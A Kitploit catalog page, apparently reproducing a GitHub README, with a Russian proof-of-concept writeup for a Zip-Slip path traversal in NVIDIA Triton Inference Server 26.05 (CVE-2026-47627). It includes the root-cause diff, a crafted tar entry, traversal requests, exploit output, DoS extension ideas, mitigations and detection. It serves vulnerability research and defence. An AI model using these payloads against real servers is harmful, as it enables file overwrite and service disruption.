Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2026-47627 — Доказательство концепции эксплуатации для CVE-2026-47627 — уязвимости обхода пути (path traversal) в NVIDIA Triton Inference Server, приводящей к произвольной записи файлов через Zip-Slip. Включает подробный анализ, лабораторную среду и скрипты эксплуатации в один клик. | Kitploit
Инструменты/GitHubGitHub/anekazek/cve-2026-47627
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubanekazek/cve-2026-47627

cve-2026-47627

Доказательство концепции эксплуатации для CVE-2026-47627 — уязвимости обхода пути (path traversal) в NVIDIA Triton Inference Server, приводящей к произвольной записи файлов через Zip-Slip. Включает подробный анализ, лабораторную среду и скрипты эксплуатации в один клик.

Репозиторий
3921 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-47627 — NVIDIA Triton Inference Server Path Traversal → DoS (Zip-Slip)

Полный writeup результатов исследования и PoC в этом репозитории (образ nvcr.io/nvidia/tritonserver:26.05-py3 / server v2.69.0). Репозиторий настроен на режим explicit, чтобы PoC работал без перезапуска через gRPC.


Содержание

  1. Сводка по CVE
  2. Лабораторная среда
  3. Анатомия уязвимости
  4. Анализ первопричины (Diff 26.05 → 26.06)
  5. Векторы эксплуатации: какие реально срабатывают?
  6. Основной PoC: Zip-Slip через EXECUTION_ENV_PATH
  • Как запустить PoC (One-Click)
  • Доказательство Traversal (не фейковый 500)
  • Влияние DoS
  • Меры по смягчению
  • Структура репозитория (после очистки)
  • Ссылки и таймлайн

  • 1. Сводка по CVE

    ПолеЗначение
    CVECVE-2026-47627
    CNA[email protected]
    Публикация2026-08-18 (NVD Awaiting Analysis)
    БюллетеньNV 5865 → https://github.com/NVIDIA/product-security/tree/main/2026/5865
    CVSS 3.19.8 CRITICAL AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    CWECWE-22 Path Traversal
    Затронуто0.0-26.05 (server v2.69.0 / core r26.05)
    Исправлено26.06 (server v2.70.0 / core r26.06)
    ВоздействиеDoS (описание CNA) — данное исследование доказывает запись файлов за пределами /models через Zip-Slip, что может быть расширено до DoS/истощения ресурсов
    АвторMartin Brodeur

    Честное примечание: Описание CNA содержит только path traversal → DoS без деталей. Этот writeup реконструирует местоположение бага через diff r26.05..r26.06 и непосредственное тестирование в контейнере 26.05-py3.


    2. Лабораторная среда

    Образ: nvcr.io/nvidia/tritonserver:26.05-py3 (TRITON_VERSION 2.69.0)

    Compose всегда в режиме explicit (уже пропатчен в этом репозитории):

    root@kitploit:~
    # docker-compose.yml:12
    command: ["tritonserver", "--model-repository=/models", "--model-control-mode=explicit", "--log-verbose=0"]
    

    run_triton.bat:10, run_triton.ps1:11, run_triton.sh:12 также в режиме explicit.

    Режимы Triton:

    • NONE (по умолчанию upstream) → загрузка один раз при старте, POST /v2/repository/models/.../load → 503, требуется перезапуск для загрузки новой модели.
    • POLL → сканирование репозитория каждую секунду, автозагрузка, но явная загрузка по-прежнему блокируется.
    • EXPLICIT (этот репозиторий) → без сканирования, но открыт gRPC load_model / POST /load → PoC без перезапуска через gRPC.

    Порты: | 8000 | HTTP REST | v2/health, v2/models, v2/repository | | 8001 | gRPC | RepositoryModelLoad, ModelInfer | | 8002 | Metrics | Prometheus |

    Начальные модели:

    root@kitploit:~
    model_repository/
    ├── echo_python/ (python backend, model.py)
    │   └── 1/model.py
    └── identity_onnx/ (onnxruntime, model.onnx ~1KB)
    

    Быстрый старт:

    root@kitploit:~
    docker compose up -d
    docker compose logs -f
    py scripts/client_test.py  # health + infer identity_onnx
    

    3. Анатомия уязвимости

    root@kitploit:~
    User input (model_name / tar entry) ──► join(parent, child) ──► canonicalize ──► проверка "child внутри parent?" ──► открытие файла
             │                                    │                     │                         │                     │
             └──► "../tmp/pwn"               /models + "/../tmp/pwn" = /models/../tmp/pwn → /tmp/pwn    rfind vs find + '/' check    FileExists / extract
    
    • Если join без canonicalize или проверка rfind(parent,0)==0 некорректна (частичное совпадение /models vs /models_evil), то ../ может выйти за пределы.
    • DoS возникает, если обходимый файл — это FIFO, /dev/zero, /proc/self/mem, или tar содержит ../../, перезаписывающий системные файлы → зависание / OOM / крах.

    Три исследовательских вопроса (из первоначального отчёта):

    1. Где пользователь контролирует путь? → model_name в gRPC RepositoryModelLoad, EXECUTION_ENV_PATH tar entry, file: override, TRITON_BATCH_STRATEGY_PATH.
    2. Как используется путь? → posixpath.join(repo, model_name) / temp_dir + "/" + file_name + IsChildPathEscapingParentPath.
    3. Каково воздействие? → DoS через истощение ресурсов / зависание. В этом репозитории доказана запись файла в /tmp/poc_marker.

    4. Анализ первопричины (Diff 26.05 → 26.06)

    Репозиторий core (r26.05..r26.06):

    1. src/filesystem/api.cc:407 IsChildPathEscapingParentPath — исправление dcb315d + 72f3d9b:

      root@kitploit:~
      // УЯЗВИМО (r26.05):
      absolute_child.rfind(absolute_parent,0) != 0
      // → баг частичного совпадения: префикс "/models" из "/models_evil/file" считается внутренним
      
      // ИСПРАВЛЕНО (r26.06):
      canonical_child.find(canonical_parent,0)==0 &&
      ((child.size() > parent.size() && child[parent.size()]=='/') || child.size()==parent.size())
      // → после префикса должен быть '/', "/models_evil" теперь корректно считается внешним
      

      Используется в src/backend_model.cc:196 (TRITON_BATCH_STRATEGY_PATH) и src/model_repository_manager/model_repository_manager.cc:162 (file:).

    2. src/model_repository_manager/model_repository_manager.cc:62 ValidateModelName — core#472/#481 (март 2026, уже в 26.05, но ужесточено в 26.06):

      root@kitploit:~
      if (trimmed==".." || trimmed.find('/')!=npos) return INVALID_ARG "must not contain path traversal"
      

      Именно это заставляет gRPC load_model('../tmp/pwn') → 400 INVALID_ARGUMENT в 26.05 (уже заблокировано). Но %2f (закодированный /) проходит, так как это не литеральный / → 500 литерального опроса.

    3. python_be.cc:292 EXECUTION_ENV_PATH — e520f8c7 тест zipslip_test.py: Tar извлекается без проверки .. / абсолютных путей. Entry ../../poc_marker из /models/poc_exploit/malicious_env.tar.gz извлекается в /tmp/poc_marker (за пределами каталога модели). Исправление в 26.06: использование ARCHIVE_EXTRACT_SECURE_NODOTDOT|NOABSOLUTEPATHS + проверка IsChildPathEscapingParentPath.

    Репозиторий server (r26.05..r26.06): только sagemaker_server.cc:1027 (проверка RE2::FullMatch) + http_server.cc:2440 (atoi→stoi), не относится к этому CVE.

    Вывод: Путь model_name через HTTP/gRPC уже заблокирован в 26.05 функцией ValidateModelName, но Zip-Slip tar — нет; именно это эксплуатирует PoC данного репозитория.


    5. Векторы эксплуатации: какие реально срабатывают?

    ВекторPayloadРезультат в 26.05Срабатывает?
    HTTP raw ../POST /v2/repository/models/../tmp/pwn/load404 (нормализация маршрутов)❌
    HTTP encoded ..%2fPOST /v2/repository/models/..%2ftmp%2fpwn/load500 литеральный, опрос /models/..%2ftmp%2fpwn не существует❌ (фейковый 500, не traversal)
    gRPC raw ../tmp/pwnload_model('../tmp/pwn')400 INVALID_ARGUMENT❌ (уже заблокировано)
    gRPC encoded ..%2fload_model('..%2ftmp%2fpwn')500 литеральный опрос❌
    file: override ../models_evilfile:../models_evil/pwn400/500 в зависимости от частичного совпадения⚠️ (зависит от бага IsChildPathEscapingParentPath, но уже заблокировано ValidateModelName для model_name)
    EXECUTION_ENV_PATH tar ../../poc_markermalicious_env.tar.gz entry ../../poc_marker200 + файл в /tmp/poc_marker✅ УЯЗВИМО

    Аналогия 500 vs 400 в старом writeup ошибочна: 500 = файл не существует (двери нет), 400 = отклонено валидацией (дверь заперта). Оба не проходят. Только 200 + файл в /tmp является доказательством.


    6. Основной PoC: Zip-Slip через EXECUTION_ENV_PATH

    Идея: Параметр Python backend EXECUTION_ENV_PATH указывает на $$TRITON_MODEL_DIRECTORY/malicious_env.tar.gz. При load_model('poc_exploit') backend pb_env.cc:292 извлекает tar без санитизации. Entry ../../poc_marker выходит за пределы .../poc_exploit/ в /tmp/poc_marker.

    Шаги PoC (автоматизированы в scripts/exploit.py:28 и exploit.ps1:20):

    1. Копирование echo_python → poc_exploit (scripts/exploit.py:35)
    2. Добавление в config.pbtxt (scripts/exploit.py:40):
      root@kitploit:~
      parameters: {key: "EXECUTION_ENV_PATH", value: {string_value: "$$TRITON_MODEL_DIRECTORY/malicious_env.tar.gz"}}
      
    3. Создание tar (scripts/exploit.py:44):
      root@kitploit:~
      TarInfo(name='../../poc_marker', size=6, mode=0o644)  # → /tmp/poc_marker
      TarInfo(name='bin/activate', mode=0o755)
      
    4. Триггер gRPC load_model('poc_exploit') (scripts/exploit.py:60) — без перезапуска, так как режим explicit.
    5. Проверка docker exec tritonserver-test cat /tmp/poc_marker → pwned (scripts/exploit.py:81)

    7. Как запустить PoC (One-Click)

    Предварительные требования: Docker, образ 26.05-py3 уже запущен через docker compose up -d (репозиторий уже в режиме explicit).

    Python (без перезапуска, через gRPC):

    root@kitploit:~
    py scripts/exploit.py              # автоопределение explicit → gRPC
    py scripts/exploit.py --keep       # сохранить артефакт для ручной проверки
    # ручная проверка: docker exec tritonserver-test cat /tmp/poc_marker
    # ручная очистка: docker exec tritonserver-test rm -f /tmp/poc_marker
    

    PowerShell:

    root@kitploit:~
    powershell -ExecutionPolicy Bypass -File exploit.ps1
    powershell -ExecutionPolicy Bypass -File exploit.ps1 -Keep
    

    Возврат к MODE_NONE (если нужен upstream по умолчанию):

    root@kitploit:~
    # отредактировать docker-compose.yml:12, удалить --model-control-mode=explicit
    docker compose up -d --force-recreate
    

    Тест блокировки (должен быть 400/404/500, не 200):

    root@kitploit:~
    py scripts/test_http_grpc_blocked.py  # был в старом репозитории, теперь удалён — используйте лог exploit.py
    # или вручную:
    curl -i -X POST http://127.0.0.1:8000/v2/repository/models/..%2ftmp%2fpwn/load -H "Content-Type: application/json" -d "{}"  # 500
    py -3 -c "import tritonclient.grpc as g; g.InferenceServerClient('127.0.0.1:8001').load_model('../tmp/pwn')"  # 400
    

    8. Доказательство Traversal (не фейковый 500)

    Уязвимая версия (26.05) — вывод exploit.py:

    root@kitploit:~
    [*] Triggering exploit via gRPC load (no restart)...
    [+] gRPC load sent
    [+] VULNERABLE: /tmp/poc_marker exists outside /models
        cat: pwned
    [+] Exploit succeeded — file write outside repository confirmed
    

    Проверка:

    root@kitploit:~
    docker exec tritonserver-test ls -l /tmp/poc_marker  # -rw-r--r-- 1 root root 6 ... /tmp/poc_marker
    docker exec tritonserver-test cat /tmp/poc_marker   # pwned
    docker logs tritonserver-test --tail 20 | grep Extracting  # Extracting Python execution env .../malicious_env.tar.gz
    

    Патченная версия (26.06) — ожидаемый результат:

    root@kitploit:~
    [-] Not vulnerable: /tmp/poc_marker not found
    # лог: Path contains '..'  (или Path is absolute)
    

    HTTP/gRPC .. должен возвращать 400, а не 500:

    root@kitploit:~
    # 26.05 gRPC raw ../ → 400 INVALID_ARGUMENT (уже заблокировано ValidateModelName)
    # 26.05 gRPC ..%2f → 500 литеральный опрос (обход валидации, но не настоящий traversal)
    # 26.06 оба → 400
    

    9. Влияние DoS

    CNA указывает DoS, но этот Zip-Slip может привести к перезаписи файлов → DoS:

    • Перезапись model.py / config.pbtxt другой модели → модель не загружается → 503
    • Tar, содержащий большой bin/activate или FIFO /tmp/fifo → зависание потока pb_env.cc → UNAVAILABLE
    • Флуд load_model tar с ../../dev/zero (бесконечный) → OOM

    Этот репозиторий фокусируется на записи файлов как доказательстве traversal; DoS может быть расширен tar, содержащим 1/model.py с бесконечным циклом.


    10. Меры по смягчению

    1. Патч: 26.06 (server v2.70.0, core r26.06) — IsChildPathEscapingParentPath + ARCHIVE_EXTRACT_SECURE_NODOTDOT.
    2. Workaround для 26.05:
      • Не открывайте 8000/8001 в интернет (reverse proxy + аутентификация)
      • WAF блокирует .. и %2f в URL и EXECUTION_ENV_PATH
      • Отключите EXECUTION_ENV_PATH Python backend, если не требуется
    3. Обнаружение: docker logs tritonserver-test | grep "Path contains\|failed to poll.*%2f"

    11. Структура репозитория (после очистки)

    root@kitploit:~
    .
    ├── model_repository/
    │   ├── echo_python/          # пример python backend
    │   └── identity_onnx/        # пример onnxruntime
    ├── scripts/
    │   ├── exploit.py:1          # основной PoC (Python, oneclick, gRPC, без перезапуска)
    │   ├── generate_model.py     # регенерация identity_onnx
    │   └── client_test.py        # тест health + infer
    ├── exploit.ps1:1             # основной PoC (PowerShell, oneclick)
    ├── docker-compose.yml:12     # всегда explicit
    ├── run_triton.bat:10 / .ps1:11 / .sh:12  # всегда explicit
    ├── requirements.txt          # numpy, onnx, requests, tritonclient[http,grpc], grpcio, protobuf
    └── README.md                 # этот writeup
    

    Удалено: exploit_cve_*.py, poc_zipslip_simple.py, check_mode.py, test_http_grpc_blocked.py, cleanup_poc.py, test_poc.ps1, null, model_repository/zipslip_*, /tmp/poc_marker.


    12. Ссылки и таймлайн

    • Бюллетень NV 5865: https://github.com/NVIDIA/product-security/tree/main/2026/5865 (5865.md, CVE-2026-47627.json)
    • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-47627 (Awaiting Analysis)
    • Коммиты исправлений core r26.06: dcb315d (Modernize Child Path), 72f3d9b (child path test), e520f8c7 (zipslip test), 50830ba/66f09f8 (ValidateModelName)
    • Исправление server r26.06: v2.70.0 (690f9dd)
    • Автор: Martin Brodeur
    ДатаСобытие
    2026-03-03core#472 ValidateModelName
    2026-03-16core#481 POSIX trim
    2026-05-18core#497 IsChildPathEscapingParentPath
    2026-06-02server#8857 zipslip test
    2026-06-2626.06 / v2.70.0 выпуск патча
    2026-08-18Публикация CVE
    2026-09-02PoC этого репозитория проверен на 26.05-py3 → VULNERABLE

    Примечание

    Этот PoC предназначен для образовательных целей и закрытой лаборатории. Не открывайте 8000/8001 без аутентификации. Всегда выполняйте exploit.py --keep, затем docker exec tritonserver-test rm -f /tmp/poc_marker и Remove-Item -Recurse model_repository/poc_exploit после демонстрации.

    Скачать инструмент